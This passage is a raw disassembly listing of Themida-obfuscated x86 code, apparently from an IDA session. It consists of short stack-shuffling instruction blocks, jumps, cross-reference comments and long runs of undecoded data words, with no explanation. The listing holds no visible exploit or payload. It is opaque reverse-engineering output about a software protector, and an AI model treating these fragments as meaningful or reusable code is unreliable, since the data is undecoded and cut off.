ebp, 4 jmp loc_55EDE9 ; --------------------------------------------------------------------------- dd 18CCC181h, 0CB29CCA2h, 0FFEB8359h, 71A1E381h, 0C381202Eh dd 28ED8E7Fh, 895BDA01h, 0BA525AD7h, 295051Ah, 0B4F2814Ah dd 213E5D13h, 0DFF75AD7h, 0FFFFEF81h, 0E950FFFFh, 8C94h dd 8124048Fh, 42404h, 33E90000h, 51000028h, 42E90BB5h dd 31FFFFDFh, 1C33241Ch, 0EAE95C24h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCE7: ; CODE XREF: Themida_:00557CEBj push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] jmp loc_558037 ; --------------------------------------------------------------------------- dw 0ECD0h dd 80DCCC80h, 0C480EECCh, 0E68852F5h, 585AF788h, 0FA3010B2h dd 0E9E6B35Bh, 1C6Dh, 642723BFh, 5FF90166h, 55FAF181h dd 0EC834B69h, 242C8904h, 0DCB2B8BDh, 28CEE97Ch, 68660000h dd 89667626h, 97E92404h, 83000043h, 0B85004C4h, 61512C92h dd 0E70F6635h, 0E9554818h, 0FFFFBF2Bh ; --------------------------------------------------------------------------- loc_55BD60: ; CODE XREF: Themida_:0055335Dj pop esp xor ah, bh jmp loc_55CA54 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0FFFFAA24h, 4244401h, 0FFE99DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BD79: ; CODE XREF: Themida_:00556042j pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push edi jmp loc_5660D0 ; --------------------------------------------------------------------------- loc_55BD90: ; CODE XREF: Themida_:005663CDj xor edi, ecx xchg edi, ebp push edx push ecx mov ecx, 4B362ED9h mov edx, 76F88B96h sub edx, ecx pop ecx add edx, 5261CE7Bh add ebp, 4E020F74h jmp loc_555800 ; --------------------------------------------------------------------------- loc_55BDB4: ; CODE XREF: Themida_:00562326j pop esi xor ecx, 0F36CCF10h add ebx, ecx push dword ptr [esp] jmp loc_55324A ; --------------------------------------------------------------------------- loc_55BDC5: ; CODE XREF: Themida_:00560382j add ebx, 4 jmp loc_55862D ; --------------------------------------------------------------------------- db 68h, 21h, 0Dh dd 82E912C9h, 0BF000054h, 543669FBh, 0FFB3CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BDE1: ; CODE XREF: Themida_:005582CCj mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55DA8D ; --------------------------------------------------------------------------- db 81h dd 0F06D17EEh, 0ECEE817Eh, 815A6622h, 92313CC6h, 0DFC68105h dd 5248CD00h, 85E9E289h, 81FFFFAEh, 4C5h, 4C58300h, 5C242C87h dd 7E8868h, 813CE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BE32: ; CODE XREF: Themida_:0056765Bj mov ebx, [esp] push 7E46h jmp loc_55AA8F ; --------------------------------------------------------------------------- loc_55BE3F: ; CODE XREF: Themida_:00564085j mov ebx, 793C10A9h mov eax, ebx pop ebx shr eax, 1 add eax, 19DE5575h neg eax and eax, 0A591334h or eax, 41F13AEBh add eax, 0F244D793h jmp loc_56480F ; --------------------------------------------------------------------------- dd 4C481h, 0E95F0000h, 3C31h dword_55BE70 dd 240C8B66h, 49D5E956h, 9F050000h, 0E96A4159h, 0FFFF971Bh ; DATA XREF: Themida_:00552B84o ; --------------------------------------------------------------------------- loc_55BE84: ; CODE XREF: Themida_:00565E3Ej push dword ptr [esp+4] mov ebx, [esp] jmp loc_564142 ; --------------------------------------------------------------------------- loc_55BE90: ; CODE XREF: Themida_:0055D362j add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp or eax, eax jz loc_55FF82 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx push ebp mov ebp, esp jmp loc_561D64 ; --------------------------------------------------------------------------- loc_55BEC6: ; CODE XREF: Themida_:00555D29j add edi, 102138Dh jmp loc_558C31 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0ECh dd 1FFFF6Dh, 9DC581F5h, 0E90EE009h, 763Ch, 66347CB0h, 0E907E8C0h dd 0FFFFB577h dword_55BEF0 dd 9D1C77FFh, 4185866h, 0C4E99C24h ; DATA XREF: Themida_:00552A50o db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BEFF: ; CODE XREF: Themida_:00565A40j xor bl, dh pop dx shr bl, 5 dec bl push ax mov al, 0FFh add bl, al pop ax push edx mov dh, 2Ch xchg bl, dh dec bl push cx mov ch, bl jmp loc_55820E ; --------------------------------------------------------------------------- dd 53242489h, 4BBh, 245C0100h, 5585B04h, 4, 0FF7613E9h dd 2E6C1FFh, 0E9D6F74Eh, 0FFFF93A6h ; --------------------------------------------------------------------------- loc_55BF44: ; CODE XREF: Themida_:005565CEj pop edx mov ebx, edx push dword ptr [esp] mov edx, [esp] jmp loc_565410 ; --------------------------------------------------------------------------- dw 895Ch dd 0BE56243Ch, 1BA16B11h, 0C30974BFh, 5EF7314Eh, 5EBBCF81h dd 895239A8h, 4C281E2h, 83000000h, 148704EAh, 34895C24h dd 2BE0E924h, 0C7830000h, 0E9EFD1FFh, 5EC9h, 0EC34DDB0h dd 5F3E9h db 0 ; --------------------------------------------------------------------------- loc_55BF95: ; CODE XREF: Themida_:00552DC8j pop esi jmp loc_55575E ; --------------------------------------------------------------------------- loc_55BF9B: ; CODE XREF: Themida_:00564821j add esp, 4 push edi push esi mov esi, 1CD02C44h jmp loc_560B1E ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFF7146h, 5704C483h, 76B568h, 24148900h, 0AA7AC0BAh dd 44C28161h, 899E5585h, 6EE95AD7h, 81FFFFB6h, 2C4h, 0EDEB8000h dd 0A1E9C300h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BFDF: ; CODE XREF: Themida_:0056726Cj push ecx mov ecx, 4 mov eax, ecx pop ecx add ebp, eax push dword ptr [esp] pop eax add esp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mul ecx push 6AD9h mov [esp], edx push eax pushf jmp loc_552CC3 ; --------------------------------------------------------------------------- dd 0FE9D589h, 830000B3h, 3C8904ECh, 7D9CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C01E: ; CODE XREF: Themida_:00560A03j xor dh, 56h sub bl, dh push dword ptr [esp] pop edx jmp loc_559D12 ; --------------------------------------------------------------------------- dd 0CEFE09B6h, 0E9F8CE80h, 0FFFFB35Eh ; --------------------------------------------------------------------------- loc_55C038: ; CODE XREF: Themida_:00565782j add edi, 0E8AB2ABFh mov edx, edi pop edi jmp loc_55FDEE ; --------------------------------------------------------------------------- dw 1C87h dd 0EC815C24h, 4, 0B8240489h, 4, 5976EA81h, 0C2291D49h dd 75D2E9h, 242C8B00h, 8704C483h, 0E95C241Ch, 0FFFFF2F3h dd 4B951h, 0B8E90000h, 89000074h, 0E2E92414h, 830000AEh dd 0ED8104C4h, 0C815FC57h, 0FFDB35E9h, 240C89FFh, 5E476852h dd 0E95A33B4h, 0FFFFBFA4h, 5E2434FFh, 81E28952h, 4C2h dd 78A9E900h, 0E789FFFFh, 4C781h, 0FEE90000h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C0C3: ; CODE XREF: Themida_:00562447j add edx, esi pop esi inc edx push 3526h mov [esp], ebx mov ebx, 1DA81534h inc ebx sub ebx, 53AE6E34h jmp loc_55AD8E ; --------------------------------------------------------------------------- dd 0E905CC80h, 0FFFFD06Ch ; --------------------------------------------------------------------------- loc_55C0E8: ; CODE XREF: Themida_:0055BC6Fj mov [esp], eax push esp jmp loc_55C70D ; --------------------------------------------------------------------------- db 52h, 0E9h, 0Eh dd 8900000Dh, 0D3015DEAh, 8124148Bh, 4C4h, 4BD5500h, 81000000h dd 0D134B9EBh, 81EB016Ch, 0D134B9C3h, 1C335D6Ch, 241C3124h dd 7641E9h, 8B5A5100h, 5768240Ch, 89000003h, 5D54242Ch dd 4C581h, 0BA520000h, 4, 0E95AD501h, 16A0h, 0FC10D2BEh dd 976BE941h, 6CE90000h, 88FFFF6Bh, 9430E9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C15E: ; CODE XREF: Themida_:005573A3j xor ebx, [esp] pop esp jmp loc_55D896 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 61B9E900h, 34890000h, 4EC8324h, 0E9242489h, 9AFBh dd 0E9240CFFh, 5146h ; --------------------------------------------------------------------------- loc_55C188: ; CODE XREF: Themida_:0055DA8Fj and edx, 37543DF6h neg edx push edi mov edi, 0DE05C6CCh jmp loc_559708 ; --------------------------------------------------------------------------- loc_55C19B: ; CODE XREF: Themida_:00554050j push ecx jmp loc_5635E3 ; --------------------------------------------------------------------------- db 66h, 68h, 37h dd 0D0F4E95Dh, 2C89FFFFh, 0BA525024h, 0A0D5477h, 8D16E9h db 0 ; --------------------------------------------------------------------------- loc_55C1B9: ; CODE XREF: Themida_:00561096j dec ecx xor ecx, 7404755Ch inc ecx jmp loc_5642E9 ; --------------------------------------------------------------------------- loc_55C1C6: ; CODE XREF: Themida_:00554519j shr ebp, 3 not ebp add ebp, 17CE45A6h add ecx, ebp jmp loc_55D5F2 ; --------------------------------------------------------------------------- dd 15FFB01h, 7C6FE9D8h db 2 dup(0) word_55C1E2 dw 28Fh ; DATA XREF: Themida_:00552BC8o dd 0FF6ADAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C1E9: ; CODE XREF: Themida_:0055DC1Cj sub esp, 4 jmp loc_553E5C ; --------------------------------------------------------------------------- dd 66FA2858h, 0E9241C8Bh, 5F57h, 49A8E381h, 0E3814349h dd 628777AAh, 0FE7CC381h, 0DE01BFFEh, 81241C8Bh, 4C4h dd 0F89BE900h, 0C483FFFFh, 0C3EA8104h, 810F2C5Eh, 2AA555EAh dd 0D28FE90Ch, 0B753FFFFh, 0FFEF8038h, 5065F780h, 0C588F888h dd 241C8B58h, 4C481h, 53500000h, 0D88870B3h, 0FFD70FE9h dd 3AEE81FFh, 291AD11Eh, 1365E9D6h, 0C1810000h, 57B56020h dd 3E76BF57h, 0CF814858h, 31365CD5h, 82DCC781h, 0E981D607h dd 2B823C6h, 0A286E9h, 7376800h, 2C890000h, 92376824h dd 2C8B2FB3h, 17C46824h, 2C890000h, 53E58924h, 0C31A9FBBh dd 4B08E96Ah, 0EB890000h, 0FFB27FE9h, 4C283FFh, 2474FF52h dd 0A6E95A04h, 5AFFFFECh, 1B2CE9h db 0 ; --------------------------------------------------------------------------- loc_55C2C9: ; CODE XREF: Themida_:0055D9CAj add ebx, 4 xchg ebx, [esp] mov esp, [esp] or eax, eax jz loc_557B75 push dword ptr [edi+1Ch] push 4BF6h mov [esp], ebp mov ebp, 64301DA6h sub dword ptr [esp+4], 3B9454C9h sub [esp+4], ebp push eax mov eax, 3B9454C9h add [esp+8], eax pop eax mov ebp, [esp] push edx mov edx, esp push edi mov edi, 24F21AEDh jmp loc_55DBCF ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4ECh, 24048900h, 7C1FE9h, 0E9506600h, 0FFFF7A0Fh dd 0E9243487h, 2269h, 0E9240C89h, 9DD0h, 0BEh, 0C5EE8100h dd 291E1707h, 0C5C681DEh, 0E91E1707h, 0FFFF87FAh dword_55C358 dd 24048B66h, 745568h, 24348900h, 8904EC83h, 42E92424h ; DATA XREF: Themida_:005529E0o db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C36F: ; CODE XREF: Themida_:00561958j xor eax, 847F09B9h jmp loc_5548B7 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4C381h, 0E9560000h, 0FFFFDE65h, 8324348Bh, 2C3304C4h dd 242C3124h, 8B242C33h, 24E92424h, 5EFFFF69h, 0FF8226E9h dd 2434FFFFh, 81242C8Bh, 4C4h, 2DC9E900h, 0FF520000h, 5A042474h dd 519DE9h db 0 ; --------------------------------------------------------------------------- loc_55C3C1: ; CODE XREF: Themida_:0055D14Aj push dword ptr [esp] mov edi, [esp] jmp loc_565455 ; --------------------------------------------------------------------------- dd 3DF6814Eh, 8108642Dh, 0F62C5CF6h, 4EC817Eh, 89000000h dd 52B82404h, 52DB935h, 553E2AD2h, 6486E9h db 0 ; --------------------------------------------------------------------------- loc_55C3F1: ; CODE XREF: Themida_:005621ECj add esp, 4 push edi push edx mov edx, 36501670h mov edi, edx pop edx push 342Fh mov [esp], esi mov esi, 3F74618Eh add edi, esi pop esi dec edi xor edi, 53F61470h jmp loc_55CA34 ; --------------------------------------------------------------------------- aOso5 db 'OИo5',0 dw 5F00h dd 1EF8359h, 66F2B850h, 0C70939CDh, 42BD5558h, 4D177E3Eh dd 0D9E9D587h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C43F: ; CODE XREF: Themida_:005663F0j pop edi jmp loc_5656D4 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 2Fh dd 81FFFFFAh, 9E640CC2h, 243C8B4Bh, 5004C483h, 8F7A14B8h dd 7A10350Fh, 0C2010F8Fh, 3BD3E958h db 2 dup(0) word_55C46A dw 8B66h ; DATA XREF: Themida_:005529F0o dd 5568240Ch, 8900000Eh, 0B3E9240Ch, 530000AEh, 837E77BBh dd 0F4EB8104h, 6832595Fh, 49A6h, 0F7241C89h, 835B2414h dd 0E952FFEBh, 3380h, 4C781h, 56E90000h, 81FFFFC4h, 4ECh dd 1D4BE900h, 4830000h, 0C8B0424h, 4C48124h, 81000000h dd 4ECh, 242C8900h, 24A6857h, 835F76DBh, 814FFFEFh, 8742F9EFh dd 2CD4E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C4DE: ; CODE XREF: Themida_:005578DDj pop esi sub ecx, esi jmp loc_553C98 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 67D1E95Ch, 0C483FFFFh, 5A916804h, 3C890000h dd 2608BF24h, 54E97124h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C507: ; CODE XREF: Themida_:00559065j add ebp, 4 xchg ebp, [esp] pop esp add eax, 0FE60D477h jmp loc_55B870 ; --------------------------------------------------------------------------- db 81h dd 0DB0E97EEh, 242C8B16h, 4C481h, 34870000h, 24248B24h dd 0E95F5457h, 0FFFFBE84h, 4001E568h, 74E95D6Bh, 5000095h dd 6B861410h, 2D07E0C1h, 0FF69D9F4h, 0E958C389h, 0FFFFA9C9h ; --------------------------------------------------------------------------- loc_55C558: ; CODE XREF: Themida_:0055E832j mov edx, 4E943163h add edx, esi jmp loc_5665B4 ; --------------------------------------------------------------------------- dd 0C281FA01h, 2FFC5B6Dh, 0D598E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C572: ; CODE XREF: Themida_:0055B7A1j push edi mov edi, 0A365ED0h sub ebx, edi pop edi jmp loc_565E2D ; --------------------------------------------------------------------------- dword_55C580 dd 0E9D830ACh, 0FFFFDB05h, 8404C0FEh, 48BC300h, 4C48324h ; DATA XREF: Themida_:00552BA0o dd 0FF84C1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C599: ; CODE XREF: Themida_:005570A1j add edx, 615801E0h jmp loc_55E753 ; --------------------------------------------------------------------------- loc_55C5A4: ; CODE XREF: Themida_:0055EB8Bj imul ecx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_560E39 ; --------------------------------------------------------------------------- db 81h dd 0DD0C6BEBh, 8361E96Dh db 2 dup(0) word_55C5C2 dw 0BB68h ; DATA XREF: Themida_:00552BD8o dd 89000075h, 1CB9240Ch, 1000000h, 5531FFF9h, 0E23BA2BDh dd 246C015Fh, 48B5D04h, 4C48124h, 55000000h, 0E23BA2BDh dd 5DE8295Fh, 81240C8Bh, 4ECh, 24148900h, 437E68h, 4020E900h dd 0E9530000h, 85Dh ; --------------------------------------------------------------------------- loc_55C60C: ; CODE XREF: Themida_:0055DBE6j pop edi jmp loc_55AB3E ; --------------------------------------------------------------------------- dw 53B8h dd 557CDA16h, 0EA89C589h, 0A67E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C622: ; CODE XREF: Themida_:00555C93j mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55E773 ; --------------------------------------------------------------------------- db 5Bh, 1, 0D7h dd 36D8BD55h, 0C58121E0h, 3A13E828h, 5A5DEF01h, 0FFB831E9h dd 5F9F05FFh, 0CCE91DF6h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C65B: ; CODE XREF: Themida_:005678BEj push ebx mov ebx, 1B2E10C4h jmp loc_55B6C7 ; --------------------------------------------------------------------------- loc_55C666: ; CODE XREF: Themida_:0055F12Ej shr ebx, 3 shl ebx, 3 jmp loc_55AECD ; --------------------------------------------------------------------------- aV6K7fswp db 'V╬6!K7FИWP',0 dd 24048700h, 66F9F65Ch, 66CCB60Fh, 6656F668h, 66240C89h dd 66C8B60Fh, 28E99C51h, 8BFFFF66h, 0C483241Ch, 89C38104h dd 0E94CBE75h, 74CBh, 2E74B3BAh, 87F2817Dh, 81096274h dd 0A52823EAh, 4BEA814Eh, 0E950C268h, 0FFFFA982h ; --------------------------------------------------------------------------- loc_55C6C8: ; CODE XREF: Themida_:00556994j add edx, edi push eax mov eax, 6466622h add edx, eax jmp loc_55F1C2 ; --------------------------------------------------------------------------- loc_55C6D7: ; CODE XREF: Themida_:005555DDj push ebp mov ebp, 54D5A240h jmp loc_563BF6 ; --------------------------------------------------------------------------- loc_55C6E2: ; CODE XREF: Themida_:005637D4j sub edi, 14E10C23h pop eax xor edi, [esp] jmp loc_5630EF ; --------------------------------------------------------------------------- byte_55C6F1 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00552C10o dd 5124048Bh, 0C181E189h, 4, 8704C183h, 565C240Ch, 8D8FE9h db 0 ; --------------------------------------------------------------------------- loc_55C70D: ; CODE XREF: Themida_:0055C0ECj pop eax jmp loc_56641E ; --------------------------------------------------------------------------- db 29h dd 3C8B243Ch, 4C48124h, 51000000h, 0B36E9h db 0 byte_55C725 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00552B54o dd 0D186824h, 0C890000h, 50E18924h, 81E28952h, 4C2h, 1F4CE900h dd 0C4810000h, 4, 3319C581h, 0ED811726h, 43A32F7h, 2CE9F501h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C75B: ; CODE XREF: Themida_:0055B3F2j push edi push esi push 375972BEh pop esi dec esi push eax jmp loc_5646A3 ; --------------------------------------------------------------------------- word_55C76A dw 5ADh ; DATA XREF: Themida_:00552A70o dd 38FF4BB9h, 0D20D9C2Dh, 4B80539h, 7E93486h, 89FFFF84h dd 9DE9241Ch db 79h, 2 dup(0FFh) byte_55C787 db 0ACh ; DATA XREF: Themida_:00552B28o dd 0EC83D830h, 24148904h, 5053D6B6h, 0B7538BB0h, 7DF9E90Ch dd 0E95CFFFFh, 0FFFFE6F0h ; --------------------------------------------------------------------------- loc_55C7A4: ; CODE XREF: Themida_:005622CBj or esi, edi pop edi jmp loc_5622AE ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 50241489h, 0DE0233B8h, 2FB52500h dd 24051579h, 2505722Eh, 590651B9h, 2D02E8C1h, 408402h dd 5658C289h, 0FFDC10E9h, 1B9FFh, 69E90000h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7EB: ; CODE XREF: Themida_:0055C966j mov [esp], edi mov edi, esp add edi, 4 jmp loc_55B5A3 ; --------------------------------------------------------------------------- db 83h dd 0C78304C4h, 74FF5704h, 0E95F0424h, 7066h, 2C0068h, 243C8900h dd 7676A968h, 243C8B4Ch, 4C481h, 0E7810000h, 587B198Ah dd 5890E781h, 81472A23h, 0D53B3DF7h, 47D7F728h, 0FF8ED6E9h dd 4C481FFh, 0E9000000h, 9C9Fh ; --------------------------------------------------------------------------- loc_55C848: ; CODE XREF: Themida_:00564F24j mov eax, [esp] add esp, 4 push ebx mov ebx, esp sub esp, 4 mov [esp], ebp mov ebp, 4 add ebx, ebp pop ebp sub esp, 4 mov [esp], ebp mov ebp, 1F681F21h sub ebp, 6B0C720Ah add ebp, 615F7AFFh xchg edi, ebp xchg ecx, edi jmp loc_5663C7 ; --------------------------------------------------------------------------- dw 2C89h dd 46824h, 52E90000h, 33000019h, 315C2414h, 78EA81C3h dd 0E929A70Eh, 52C3h, 7FA2B951h, 0C181044Ch, 3AC3B576h dd 0C5E9CD89h, 58FFFFEBh, 39474D05h, 0F11DE94Eh, 0C33FFFFh dd 24248B24h, 2290E9h db 0 ; --------------------------------------------------------------------------- loc_55C8C9: ; CODE XREF: Themida_:00556FF4j add esi, ebx jmp loc_55BBFE ; --------------------------------------------------------------------------- loc_55C8D0: ; CODE XREF: Themida_:005617ABj pop esp and eax, edi pop edi shr eax, 18h xor eax, ecx xor eax, edx jmp loc_55F138 ; --------------------------------------------------------------------------- dd 68243C89h, 7E715752h, 5BE9555Fh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C8EF: ; CODE XREF: Themida_:005562CCj mov ebp, 669D1ED6h not ebp dec ebp add ebp, 669D1ED9h sub ecx, ebp pop ebp push ebp push ebx push 35104E51h push dword ptr [esp] jmp loc_55B916 ; --------------------------------------------------------------------------- loc_55C90F: ; CODE XREF: Themida_:0055AEDEj add ch, al pop eax jmp loc_5576FF ; --------------------------------------------------------------------------- db 81h dd 92313CEEh, 0ECC68105h, 815A6622h, 0F06D17C6h, 0E9C6017Eh dd 0FFFFF4CBh ; --------------------------------------------------------------------------- loc_55C930: ; CODE XREF: Themida_:00555AB2j mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5550C1 ; --------------------------------------------------------------------------- loc_55C959: ; CODE XREF: Themida_:00563743j add dword ptr [esp], 4 push dword ptr [esp] pop ecx push 249Eh jmp loc_55C7EB ; --------------------------------------------------------------------------- dd offset dword_4F7844+524h align 10h dd 0A6CBE9h, 4C48300h, 12C568h, 2D64E900h, 0C5290000h dd 1E02C581h, 87585289h, 895C242Ch, 0E952241Ch, 0FFFFE285h ; --------------------------------------------------------------------------- loc_55C998: ; CODE XREF: Themida_:005651D7j push esp mov esi, [esp] add esp, 4 add esi, 4 jmp loc_56390E ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 33000000h, 3C31243Ch, 280CE924h, 2C810000h, 872CBC24h dd 242C8173h, 49160E1Ah, 0CF242C81h, 0E97E071Fh, 2F8Bh ; --------------------------------------------------------------------------- loc_55C9D8: ; CODE XREF: Themida_:00553B8Ej dec ebx and ebx, 74791CE8h sub ebx, 31C33C19h xor ebx, 0A21FA55Dh xor edi, ebx mov ebx, [esp] jmp loc_55A3B0 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 0E904C483h, 0FFFF9701h, 0ACFDB951h, 0FBE9E5C4h, 89FFFFE2h dd 28B42404h, 0E1B35366h, 5B66DC20h, 281DC480h, 1E5BE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CA22: ; CODE XREF: Themida_:0055D651j and esi, 5D9F47C9h dec esi xor esi, 441306C3h jmp loc_562F0E ; --------------------------------------------------------------------------- loc_55CA34: ; CODE XREF: Themida_:0055C418j push eax mov eax, 7C8168F4h add edi, eax pop eax xor edi, 5A965C1Bh push ecx mov ecx, 0F8259096h sub edi, ecx pop ecx add ebx, edi pop edi jmp loc_55EA61 ; --------------------------------------------------------------------------- loc_55CA54: ; CODE XREF: Themida_:0055BD63j mov ebx, [esp] jmp loc_55654B ; --------------------------------------------------------------------------- loc_55CA5C: ; CODE XREF: Themida_:00567546j push eax jmp loc_564219 ; --------------------------------------------------------------------------- word_55CA62 dw 0A368h ; DATA XREF: Themida_:00552BF4o dd 89000060h, 0E9682404h, 89000001h, 0B951243Ch, 8672552h dd 8159CF89h, 0E9042444h, 0E9602E07h, 980Fh, 0DB05F801h dd 0FF2DB475h, 3C8B2434h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 1280685Ch, 4890000h, 5E08924h, 4, 9BBCE9h dd 0C6815900h, 4, 31243433h, 34332434h, 4215C24h, 0F0E99C24h dd 0BAFFFF61h, 4, 6C47C581h, 0D50106B0h, 9B4CE9h, 14895C00h dd 0E99C5024h, 0FFFF61D3h, 0DA9D64BFh, 5FFE012Dh, 505EF289h dd 0ABBEE9h, 555F5E00h, 42474FFh, 0A90EE9h db 0 ; --------------------------------------------------------------------------- loc_55CB0D: ; CODE XREF: Themida_:00559180j jnz loc_552F10 sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ecx push 4A9E70E8h jmp loc_554300 ; --------------------------------------------------------------------------- loc_55CB2C: ; CODE XREF: Themida_:00558C03j not eax xchg eax, ecx push edx mov edx, 6B5C7C81h and ecx, edx jmp loc_55373B ; --------------------------------------------------------------------------- loc_55CB3C: ; CODE XREF: Themida_:005564E7j sub byte ptr [esp], 17h mov dh, [esp] jmp loc_5662C5 ; --------------------------------------------------------------------------- loc_55CB48: ; CODE XREF: Themida_:005548CBj mov edi, 6FF83D11h sub edx, edi pop edi sub edx, ebp add edx, 6FF83D11h sub edx, 77781E94h add edx, 37D14436h pop ebp and ecx, edx pop edx shr ecx, 0Bh push 3D7h mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 33146866h and edi, 66663BF3h sub edi, 0B21BB7FAh add [esp+4], edi pop edi push dword ptr [esp] pop eax add esp, 4 jmp loc_566F06 ; --------------------------------------------------------------------------- db 8Fh dd 895C2404h, 89512414h, 1FE950E1h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CBAB: ; CODE XREF: Themida_:0055902Fj push esi push edi push esi mov esi, 3A223347h inc esi add esi, 47AA46EEh jmp loc_55D64B ; --------------------------------------------------------------------------- db 51h dd 61E7B850h, 0F4E93070h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CBCB: ; CODE XREF: Themida_:00564AF1j add ebp, 4 jmp loc_55CD56 ; --------------------------------------------------------------------------- dw 6853h dd 4C526872h, 83241C8Bh, 0F74304C4h, 77BF57DBh, 14C5268h dd 0DA295FFBh, 2414335Bh, 33241431h, 895C2414h, 0FF50241Ch dd 1C8B2434h, 4C48124h, 0E9000000h, 0FFFFEFD8h, 4EC8359h dd 0FF240489h, 58042474h, 0E924048Fh, 34DBh, 33240C31h dd 248B240Ch, 0E9C33124h, 2420h ; --------------------------------------------------------------------------- loc_55CC34: ; CODE XREF: Themida_:00556E5Aj pop esp jmp loc_55383E ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 0E9510000h, 0FFFFE86Fh, 4C681h, 0FF560000h dd 0E9042474h, 0FFFF657Dh, 5259CE89h, 953C2FBAh, 77DE950h dd 0C2810000h, 5022743Ah, 0FF6E46E9h, 240489FFh, 669668h dd 241C8900h, 0FF90ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CC81: ; CODE XREF: Themida_:005607EBj pop edi push 596Eh mov [esp], edi mov edi, 37416109h or edi, 0D6B162Eh push ebx mov ebx, 0C09488D5h add edi, ebx pop ebx add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push ecx jmp loc_55ED26 ; --------------------------------------------------------------------------- db 89h dd 46857E5h, 5F000000h, 34FFFD01h, 89535F24h, 0F2B951E3h dd 817E881Ah, 9D57ABE9h, 2E9C138h, 0B0D5F181h, 0C381117Ah dd 5F5743Eh, 0EB81CB01h, 5F5743Eh, 632FE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CCEE: ; CODE XREF: Themida_:005677F7j mov eax, 5EB572BDh xchg eax, edi jmp loc_557488 ; --------------------------------------------------------------------------- loc_55CCF9: ; CODE XREF: Themida_:0056010Cj pop ebx xor ecx, esi mov esi, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_5567E7 ; --------------------------------------------------------------------------- loc_55CD0C: ; CODE XREF: Themida_:00563439j mov ecx, 42A9250Bh jmp loc_5671D4 ; --------------------------------------------------------------------------- dw 34FFh aPh3 db '$[Ph^3',0 align 10h aHjl db 'h╕l',0 dd 24248900h, 4240481h, 8F000000h, 51E92404h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CD37: ; CODE XREF: Themida_:0055678Fj push ecx jmp loc_55F65A ; --------------------------------------------------------------------------- db 55h, 0BDh, 1 dd 29000000h, 4572E9EAh, 81490000h, 9065ACF1h, 0A540E96Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CD56: ; CODE XREF: Themida_:0055CBD1j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 302F5C1Ch add ebx, ebp pop ebp add ebx, 3A322AC8h sub ebx, eax sub ebx, 3A322AC8h push eax mov eax, 302F5C1Ch sub ebx, eax jmp loc_561B0B ; --------------------------------------------------------------------------- dw 0E6C1h dd 6DE68106h, 0D167AB2Dh, 0F6814EE6h, 0CA02487Bh, 3975EA81h dd 0F201166Eh, 3975C281h, 565E166Eh, 2BEh, 0FFF20100h dd 348B2434h, 4C48124h, 81000000h, 4C4h, 24143300h, 33241431h dd 4AE92414h db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CDCF: ; CODE XREF: Themida_:00564236j push 11C6h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add esp, 4 push 5241h mov [esp], ebx mov ebx, esp jmp loc_557424 ; --------------------------------------------------------------------------- dd 